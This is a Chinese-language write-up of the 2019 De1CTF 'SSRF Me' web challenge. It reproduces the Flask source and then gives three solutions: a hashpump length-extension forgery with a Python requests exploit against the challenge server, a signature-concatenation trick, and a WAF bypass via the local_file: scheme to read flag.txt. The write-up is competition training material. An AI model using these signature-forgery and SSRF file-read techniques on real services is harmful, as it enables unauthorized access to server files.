2019 De1CTF 部分题解

SSRF Me

源码。

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#! /usr/bin/env python
#encoding=utf-8
#Author=She1don
#Date=2019/07/09
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

这题一共出现了两种非预期,算上预期解一共三种解法。

HASH拓展攻击

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south@Antarctica ~ hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

然后构造EXP

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# encoding=utf8
import requests
url = 'http://139.180.128.86/De1ta?param=flag.txt'
cookies = {
'sign': 'd7163f39ab78a698b3514fd465e4018a',
'action':
'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}
res = requests.get(url=url, cookies=cookies)
print res.text

字符串拼接

此处的字符串拼接以及校验存在漏洞,这是生成的MD5校验码。

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def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

这是处理的逻辑。

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if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

先判断action中是否有scan,再判断是否有read,也就是说,当两者同时存在的时候,都会执行。

那么这时就不需要前面的HASH拓展攻击了,只需直接构造访问/geneSign?param=flag.txtread,这时传到getSign()方法中拼接成的字符串就是secert_key+”flag.txtreadscan”,使用返回的MD5访问/De1ta?param=flag.txt,同时构造action=readscan;即可。

预期解

使用local_file协议读取,出题人预先并没留意到urllib.urlopen()方法可以直接读取文件。